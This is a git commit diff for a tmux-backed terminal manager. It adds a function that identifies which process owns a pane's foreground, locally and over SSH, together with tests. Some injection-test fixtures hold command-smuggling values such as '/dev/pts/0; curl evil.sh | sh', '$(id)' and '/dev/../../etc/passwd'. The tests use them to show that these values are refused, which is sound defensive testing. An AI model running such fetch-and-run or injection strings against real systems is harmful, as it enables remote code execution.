Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

feat(pty): paneOwner — pane pid, tty and the argv of whatever owns the foreground

enes77770cb7c041
diff --git a/src/core/agents/pane-owner.test.ts b/src/core/agents/pane-owner.test.ts
index 5cb771499..5eda4b4c4 100644
--- a/src/core/agents/pane-owner.test.ts
+++ b/src/core/agents/pane-owner.test.ts
@@ -11,6 +11,7 @@ import {
foregroundArgvArgs,
foregroundPgid,
isSafeTty,
+ paneOwnerFrom,
parseForegroundArgv,
parsePaneOwner
} from './pane-owner'
@@ -121,6 +122,25 @@ describe('parseForegroundArgv', () => {
})
})
+describe('paneOwnerFrom', () => {
+ const identity = { panePid: 2485382, tty: '/dev/pts/0', command: 'sh' }
+
+ it('joins the two round-trips into one owner', () => {
+ expect(paneOwnerFrom(identity, REAL_PS)).toEqual({
+ ...identity,
+ argv: ['/bin/sh -c sleep 200 | cat', 'sleep 200', 'cat']
+ })
+ })
+
+ it('answers null rather than an owner with an empty argv', () => {
+ // A PaneOwner carrying no argv would read to isAgentPane as "the kernel answered" and then as
+ // `unknown` anyway — but the two must not be able to diverge, so the null happens HERE, once.
+ expect(paneOwnerFrom(identity, '')).toBeNull()
+ expect(paneOwnerFrom(identity, '2485382 2485382 Ss -bash')).toBeNull()
+ expect(paneOwnerFrom(null, REAL_PS)).toBeNull()
+ })
+})
+
/**
* THE REAL PANE (Global Constraint 9).
*
diff --git a/src/core/agents/pane-owner.ts b/src/core/agents/pane-owner.ts
index 532a310a1..5865ce653 100644
--- a/src/core/agents/pane-owner.ts
+++ b/src/core/agents/pane-owner.ts
@@ -173,3 +173,22 @@ export function parseForegroundArgv(stdout: string | null | undefined, pgid: num
.filter((row) => row.pgid === pgid)
.map((row) => row.args)
}
+
+/**
+ * The two round-trips joined: a parsed pane identity plus the `ps` output for its tty.
+ *
+ * Null — never a `PaneOwner` with an empty `argv` — when `ps` said nothing usable, so the caller
+ * cannot mistake "nothing owns this" for "we could not see". Shared by the local and the SSH leg of
+ * `PtyManager.paneOwner` so the two cannot drift into different readings of the same output.
+ */
+export function paneOwnerFrom(
+ identity: PaneIdentity | null,
+ psStdout: string | null | undefined
+): PaneOwner | null {
+ if (!identity) return null
+ const pgid = foregroundPgid(psStdout)
+ if (pgid === null) return null
+ const argv = parseForegroundArgv(psStdout, pgid)
+ if (argv.length === 0) return null
+ return { ...identity, argv }
+}
diff --git a/src/core/pty-manager.pane-owner.test.ts b/src/core/pty-manager.pane-owner.test.ts
new file mode 100644
index 000000000..bcad7c634
--- /dev/null
+++ b/src/core/pty-manager.pane-owner.test.ts
@@ -0,0 +1,227 @@
+// `PtyManager.paneOwner` — the two round-trips, on both legs, and every way they can fail.
+//
+// The pure parsers are proven against a real tmux pane in `agents/pane-owner.test.ts`. What is left
+// for this file is DISPATCH: which binary is asked, with which argv, on a local session versus an
+// SSH-project one — and the failure contract, which is the security-relevant half. A partial
+// `PaneOwner` (identity, no argv) would read to the predicate as "the kernel answered", so every
+// failure here must answer null.
+import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'
+import { initPlatform, resetPlatformForTests } from './platform'
+import { fakePlatform } from './platform-fake'
+import { TMUX_SOCKET, sessionName } from './tmux-naming'
+import { PANE_OWNER_FMT } from './agents/pane-owner'
+import { RMT_TMUX_SOCKET } from './remote-ssh/control-master'
+
+/** Every `runAsync` in pty-manager lands here. `answer` decides what each call resolves to. */
+const calls: Array<{ file: string; args: string[] }> = []
+const script = vi.hoisted(() => ({
+ answer: (() => ({ stdout: '' })) as (file: string, args: string[]) => { stdout: string }
+}))
+
+vi.mock('child_process', () => {
+ type Cb = (err: Error | null, res?: { stdout: string; stderr: string }) => void
+ const execFile = (file: string, args: string[], a?: unknown, b?: unknown): unknown => {
+ const cb = (typeof a === 'function' ? a : b) as Cb | undefined
+ calls.push({ file, args })
+ try {
+ cb?.(null, { ...script.answer(file, args), stderr: '' })
+ } catch (e) {
+ cb?.(e as Error)
+ }
+ return {}
+ }
+ return { execFile, execFileSync: (): string => '' }
+})
+
+const ssh = vi.hoisted(() => ({ path: '/usr/bin/ssh' as string | null }))
+vi.mock('./exec-path', async (importOriginal) => ({
+ ...(await importOriginal<typeof import('./exec-path')>()),
+ findExecutableSync: (bin: string) => (bin === 'ssh' ? ssh.path : null),
+ shellPathNow: () => '/usr/bin:/bin',
+ resolveShellPath: async () => '/usr/bin:/bin'
+}))
+
+vi.mock('node-pty', () => ({
+ spawn: () => ({
+ onData: () => {},
+ onExit: () => {},
+ write: () => {},
+ resize: () => {},
+ pause: () => {},
+ resume: () => {},
+ kill: () => {},
+ pid: 4321
+ })
+}))
+
+const NODE = 'node-1'
+const TARGET = sessionName(NODE)
+const TTY = '/dev/pts/7'
+const PS_OUT = [
+ '2485382 2485382 Ss -bash',
+ '2503294 2503294 Sl+ node /usr/local/bin/claude --resume x',
+ '2503300 2503294 S+ rg --files'
+].join('\n')
+
+/**
+ * A manager with one registered session and a resolved tmux, built WITHOUT going through `create`.
+ * `paneOwner` reads exactly two things off a session — its `persistKey` and its `sshRemote` — so a
+ * spawn harness would be noise around the thing under test.
+ */
+async function manager(opts: { tmux?: string | null; sshRemote?: unknown } = {}) {
+ const { PtyManager } = await import('./pty-manager')
+ const mgr = new PtyManager() as unknown as {
+ tmuxPath: string | null
+ sessions: Map<string, unknown>
+ paneOwner(k: string): Promise<unknown>
+ }
+ mgr.tmuxPath = opts.tmux === undefined ? '/usr/bin/tmux' : opts.tmux
+ mgr.sessions.set('sess-1', { persistKey: NODE, sshRemote: opts.sshRemote })
+ return mgr
+}
+
+/** The default healthy script: tmux answers the format, `ps` answers the tty listing. */
+function healthy(file: string, args: string[]): { stdout: string } {
+ if (args.includes(PANE_OWNER_FMT) || args.join(' ').includes(PANE_OWNER_FMT)) {
+ return { stdout: `2485382|${TTY}|node\n` }
+ }
+ if (file === 'ps' || args.join(' ').includes('ps ')) return { stdout: PS_OUT }
+ return { stdout: '' }
+}
+
+describe('PtyManager.paneOwner', () => {
+ beforeEach(() => {
+ calls.length = 0
+ ssh.path = '/usr/bin/ssh'
+ script.answer = healthy
+ vi.resetModules()
+ initPlatform(fakePlatform())
+ })
+ afterEach(() => {
+ resetPlatformForTests()
+ })
+
+ it('local: one display-message on OUR socket, then one ps on the pane tty', async () => {
+ const mgr = await manager()
+ const owner = await mgr.paneOwner(NODE)
+
+ expect(calls).toHaveLength(2)
+ expect(calls[0]).toEqual({
+ file: '/usr/bin/tmux',
+ args: ['-L', TMUX_SOCKET, 'display-message', '-p', '-t', TARGET, PANE_OWNER_FMT]
+ })
+ expect(calls[1]).toEqual({
+ file: 'ps',
+ args: ['-ww', '-o', 'pid=,pgid=,stat=,args=', '-t', TTY]
+ })
+ expect(owner).toEqual({
+ panePid: 2485382,
+ tty: TTY,
+ command: 'node',
+ // The foreground group, and only it — the pane's own `-bash` is not in it.
+ argv: ['node /usr/local/bin/claude --resume x', 'rg --files']
+ })
+ })
+
+ it('SSH: both round-trips ride the project ControlMaster, and the local socket is never touched', async () => {
+ const mgr = await manager({
+ sshRemote: { conn: { host: 'h', user: 'u' }, controlPath: '/tmp/cm-abc' }
+ })
+ const owner = await mgr.paneOwner(NODE)
+
+ expect(calls).toHaveLength(2)
+ expect(calls.every((c) => c.file === '/usr/bin/ssh')).toBe(true)
+ expect(calls.every((c) => c.args.includes('ControlPath=/tmp/cm-abc'))).toBe(true)
+ // The REMOTE socket, never the local one — a local `nt-<id>` would be another machine's session.
+ expect(calls[0].args.at(-1)).toContain(`tmux -L ${RMT_TMUX_SOCKET} display-message`)
+ expect(calls.join(' ')).not.toContain(`-L ${TMUX_SOCKET} `)
+ expect(calls[1].args.at(-1)).toBe(
+ `ps '-ww' '-o' 'pid=,pgid=,stat=,args=' '-t' '${TTY}'`
+ )
+ expect(owner).toMatchObject({ tty: TTY, argv: [expect.stringContaining('claude'), 'rg --files'] })
+ })
+
+ it('SSH: a tty the remote host printed back is quoted, and a hostile one is never run at all', async () => {
+ script.answer = (file, args) => {
+ if (args.join(' ').includes(PANE_OWNER_FMT)) {
+ return { stdout: `42|/dev/pts/0; curl evil.sh | sh|node\n` }
+ }
+ return { stdout: PS_OUT }
+ }
+ const mgr = await manager({
+ sshRemote: { conn: { host: 'h', user: 'u' }, controlPath: '/tmp/cm-abc' }
+ })
+
+ expect(await mgr.paneOwner(NODE)).toBeNull()
+ // The tmux read happened; the `ps` was never built, so nothing hostile reached a command line.
+ expect(calls).toHaveLength(1)
+ })
+
+ it('still asks the local socket for a node with no pty client — and null when tmux has no such session', async () => {
+ // Deliberately the same reading as `paneCommand`: a tmux session OUTLIVES its pty client (that
+ // is the whole point of the tmux backing), so "no session in the map" is not "no pane". What
+ // makes this null is tmux answering "can't find session", not us guessing ahead of it.
+ script.answer = () => {
+ throw new Error("can't find session: nt-some-other-node")
+ }
+ const mgr = await manager()
+ expect(await mgr.paneOwner('some-other-node')).toBeNull()
+ expect(calls[0].args).toContain(sessionName('some-other-node'))
+ })
+
+ it('answers null — not a partial owner — when tmux is unavailable', async () => {
+ const mgr = await manager({ tmux: null })
+ expect(await mgr.paneOwner(NODE)).toBeNull()
+ expect(calls).toHaveLength(0)
+ })
+
+ it('answers null when ssh cannot be found for an SSH-project node', async () => {
+ ssh.path = null
+ const mgr = await manager({
+ sshRemote: { conn: { host: 'h', user: 'u' }, controlPath: '/tmp/cm-abc' }
+ })
+ expect(await mgr.paneOwner(NODE)).toBeNull()
+ expect(calls).toHaveLength(0)
+ })
+
+ it('answers null when the pane query throws (dead pane, wedged server)', async () => {
+ script.answer = () => {
+ throw new Error("can't find session: nt-node-1")
+ }
+ const mgr = await manager()
+ expect(await mgr.paneOwner(NODE)).toBeNull()
+ })
+
+ it('answers null on an empty pane read, and never asks ps about nothing', async () => {
+ script.answer = () => ({ stdout: '' })
+ const mgr = await manager()
+ expect(await mgr.paneOwner(NODE)).toBeNull()
+ expect(calls).toHaveLength(1)
+ })
+
+ it('answers null when ps returns nothing — a pane we cannot see is not a pane we can name', async () => {
+ script.answer = (file, args) =>
+ args.includes(PANE_OWNER_FMT) ? { stdout: `1|${TTY}|node` } : { stdout: '' }
+ const mgr = await manager()
+ expect(await mgr.paneOwner(NODE)).toBeNull()
+ expect(calls).toHaveLength(2)
+ })
+
+ it('answers null when ps lists the tty but marks no foreground group', async () => {
+ script.answer = (file, args) =>
+ args.includes(PANE_OWNER_FMT)
+ ? { stdout: `1|${TTY}|node` }
+ : { stdout: '2485382 2485382 Ss -bash' }
+ const mgr = await manager()
+ expect(await mgr.paneOwner(NODE)).toBeNull()
+ })
+
+ it('answers null when ps itself errors (a platform whose ps lacks these flags)', async () => {
+ script.answer = (file, args) => {
+ if (args.includes(PANE_OWNER_FMT)) return { stdout: `1|${TTY}|node` }
+ throw new Error('ps: illegal option -- w')
+ }
+ const mgr = await manager()
+ expect(await mgr.paneOwner(NODE)).toBeNull()
+ })
+})
diff --git a/src/core/pty-manager.ts b/src/core/pty-manager.ts
index 2fe805c4f..04d8c868c 100644
--- a/src/core/pty-manager.ts
+++ b/src/core/pty-manager.ts
@@ -29,9 +29,13 @@ import {
remoteTmuxSendKeysArgs,
remoteCapturePaneArgs,
remotePaneCommandArgs,
+ remotePaneOwnerArgs,
+ remoteForegroundArgvArgs,
remotePaneCursorArgs
} from './remote-ssh/control-master'
import { parsePaneCursor } from './pane-cursor'
+import { PANE_OWNER_FMT, foregroundArgvArgs, paneOwnerFrom, parsePaneOwner } from './agents/pane-owner'
+import type { PaneOwner } from '../shared/agents/pane-owner-predicate'
import { readSpawnResources, spawnResourceNote } from './spawn-resources'
import {
primePtyCeiling,
@@ -2886,6 +2890,62 @@ export class PtyManager {
}
}
+ /**
+ * WHO owns a node's pane right now, read from the kernel: the pane's pid and tty from tmux, then
+ * the full argv of the tty's FOREGROUND PROCESS GROUP. `paneCommand` above answers one name —
+ * `node`, for every npm-installed agent CLI — which is not enough to decide whether a message may
+ * be delivered into a pane. This is (see `src/core/agents/pane-owner.ts` for the measurement).
+ *
+ * Mirrors `paneCommand`'s dispatch exactly, including the SSH branch over the project's
+ * ControlMaster, and its failure contract exactly: no live session, no tmux, no ssh, a throw, an
+ * empty read, a `ps` that lists nothing, an unsafe tty — every one of them answers `null` rather
+ * than throwing or returning a partial object, because unknown is never evidence of a particular
+ * command. Deliberately has NO deadline of its own: the caller bounds it (`probeWithin`), the
+ * same way the restart poll bounds `paneCommand`.
+ *
+ * Two round-trips, not one: tmux does not know the foreground process group (`#{pane_pid}` is the
+ * shell it forked, which is usually NOT in it), so the tty has to come back before `ps` can be
+ * asked about it. On the SSH leg both ride the same ControlMaster.
+ */
+ async paneOwner(persistKey: string): Promise<PaneOwner | null> {
+ const target = sessionName(persistKey)
+ const sshRemote = this.sessionByPersistKey(persistKey)?.sshRemote
+ try {
+ if (sshRemote) {
+ const ssh = findSsh()
+ if (!ssh) return null
+ const first = await runAsync(
+ ssh,
+ remotePaneOwnerArgs(sshRemote.conn, sshRemote.controlPath, target)
+ )
+ const identity = parsePaneOwner(first.stdout)
+ if (!identity) return null
+ const psArgs = remoteForegroundArgvArgs(sshRemote.conn, sshRemote.controlPath, identity.tty)
+ if (!psArgs) return null
+ const second = await runAsync(ssh, psArgs)
+ return paneOwnerFrom(identity, second.stdout)
+ }
+ if (!this.tmuxPath) return null
+ const first = await runAsync(this.tmuxPath, [
+ '-L',
+ TMUX_SOCKET,
+ 'display-message',
+ '-p',
+ '-t',
+ target,
+ PANE_OWNER_FMT
+ ])
+ const identity = parsePaneOwner(first.stdout)
+ if (!identity) return null
+ const call = foregroundArgvArgs(identity.tty)
+ if (!call) return null
+ const second = await runAsync(call.bin, call.args)
+ return paneOwnerFrom(identity, second.stdout)
+ } catch {
+ return null
+ }
+ }
+
/**
* Did the application in this pane request bracketed-paste mode? tmux tracks the DECSET
* 2004 state per pane and exposes it as `bracket_paste_flag`. Unknown — query fails, old
diff --git a/src/core/remote-ssh/control-master.injection.test.ts b/src/core/remote-ssh/control-master.injection.test.ts
index 702cd396c..d016a40f3 100644
--- a/src/core/remote-ssh/control-master.injection.test.ts
+++ b/src/core/remote-ssh/control-master.injection.test.ts
@@ -1,5 +1,10 @@
import { describe, expect, it } from 'vitest'
-import { remoteHookEnvArgs, remoteTmuxPtyArgs } from './control-master'
+import {
+ remoteForegroundArgvArgs,
+ remoteHookEnvArgs,
+ remotePaneOwnerArgs,
+ remoteTmuxPtyArgs
+} from './control-master'
import { accountTmuxEnvArgs } from '../claude-accounts-core'
/**
@@ -181,3 +186,44 @@ describe('remoteTmuxPtyArgs: an attacker-controlled node id is DATA, never comma
expect(argv.indexOf('NODETERM_NODE_ID=term-mabc-3')).toBeLessThan(s)
})
})
+
+/**
+ * The pane-ownership read's SSH leg. `#{pane_tty}` is a value the REMOTE host printed back at us,
+ * so it is data crossing into a command line the remote login shell parses — the same class as the
+ * node id above, arriving through a different door.
+ *
+ * Two layers, and the test insists on both: `isSafeTty` refuses the value outright (so nothing is
+ * built at all), and whatever does get built is `posixQuote`d. Either one alone would be a single
+ * point of failure.
+ */
+describe('remoteForegroundArgvArgs: a tty the remote host reported is DATA, never structure', () => {
+ it('builds a single quoted ps invocation for a real tty', () => {
+ const args = remoteForegroundArgvArgs(conn, '/s.sock', '/dev/pts/7')
+ expect(args).not.toBeNull()
+ const { argv, unquotedMeta } = shellParse(args![args!.length - 1])
+ expect(unquotedMeta).toEqual([])
+ expect(argv).toEqual(['ps', '-ww', '-o', 'pid=,pgid=,stat=,args=', '-t', '/dev/pts/7'])
+ })
+
+ it('refuses to build anything for a hostile tty — the second layer never has to hold', () => {
+ for (const tty of [
+ `/dev/pts/0;${PAYLOAD}`,
+ '/dev/pts/0 && curl evil|sh',
+ '/dev/$(id)',
+ '/dev/`id`',
+ '/dev/../../etc/passwd',
+ ''
+ ]) {
+ expect(remoteForegroundArgvArgs(conn, '/s.sock', tty)).toBeNull()
+ }
+ })
+
+ it('the tmux half sends the format to the REMOTE tmux verbatim, on the remote socket', () => {
+ const { argv, unquotedMeta } = shellParse(
+ remotePaneOwnerArgs(conn, '/s.sock', 'nt-n1').at(-1) as string
+ )
+ expect(unquotedMeta).toEqual([])
+ expect(argv.slice(0, 3)).toEqual(['tmux', '-L', 'nodeterm-rmt'])
+ expect(argv).toContain('#{pane_pid}|#{pane_tty}|#{pane_current_command}')
+ })
+})
diff --git a/src/core/remote-ssh/control-master.ts b/src/core/remote-ssh/control-master.ts
index 8c1422f7f..7cf8180d1 100644
--- a/src/core/remote-ssh/control-master.ts
+++ b/src/core/remote-ssh/control-master.ts
@@ -7,6 +7,7 @@ import { posixQuote, quoteRemotePath, remoteTmuxCommand, type SshConnection } fr
import { TMUX_SOCKET } from '../tmux-naming'
import { canControlCanvas } from '../../shared/agents/config'
import { bracketedInjection, sanitizePasteText } from '../paste-injection'
+import { PANE_OWNER_FMT, foregroundArgvArgs } from '../agents/pane-owner'
// Dependency-free (no node-pty): safe to import from these pure builders.
/** Dedicated remote tmux socket so an SSH project never collides with the user's own tmux. */
@@ -361,6 +362,43 @@ export function remotePaneCommandArgs(conn: SshConnection, controlPath: string,
`tmux -L ${RMT_TMUX_SOCKET} display-message -p -t ${sessionId} '#{pane_current_command}'`
)
}
+/**
+ * Ask the REMOTE tmux for everything the ownership read needs in one round-trip — the remote
+ * counterpart of `PtyManager.paneOwner`'s first call. Same single-quoting rule as
+ * `remotePaneCommandArgs`: the `#{…}` fields have to reach the remote tmux verbatim rather than
+ * being eaten by the remote shell.
+ */
+export function remotePaneOwnerArgs(conn: SshConnection, controlPath: string, sessionId: string): string[] {
+ return childArgs(
+ conn,
+ controlPath,
+ `tmux -L ${RMT_TMUX_SOCKET} display-message -p -t ${sessionId} '${PANE_OWNER_FMT}'`
+ )
+}
+
+/**
+ * The second round-trip: `ps` on the REMOTE host, listing the pane tty's processes.
+ *
+ * `tty` is a value the remote host printed back at us (`#{pane_tty}`), so it is DATA crossing into
+ * a command line — exactly the class `remote-safety.ts` exists for. Two layers, both required:
+ * `isSafeTty` refuses anything outside `[A-Za-z0-9/._-]` (returning null here, which the caller
+ * reads as "unknown"), and what survives is `posixQuote`d at the splice. No credential is involved
+ * — a tty path is the whole payload — so nothing here needs, or may grow, a stdin header channel
+ * (Global Constraint 6).
+ *
+ * The `ps` flags are the ones measured for the local leg, unchanged: they are valid on both GNU and
+ * BSD `ps`, and the remote host is at least as likely to be either.
+ */
+export function remoteForegroundArgvArgs(
+ conn: SshConnection,
+ controlPath: string,
+ tty: string
+): string[] | null {
+ const call = foregroundArgvArgs(tty)
+ if (!call) return null
+ return childArgs(conn, controlPath, `${call.bin} ${call.args.map(posixQuote).join(' ')}`)
+}
+
/**
* Ask the REMOTE tmux where a pane's cursor is — the remote counterpart of `PtyManager.paneCursor`,
* and the thing that makes a refreshed SSH terminal land its cursor in the right place. Same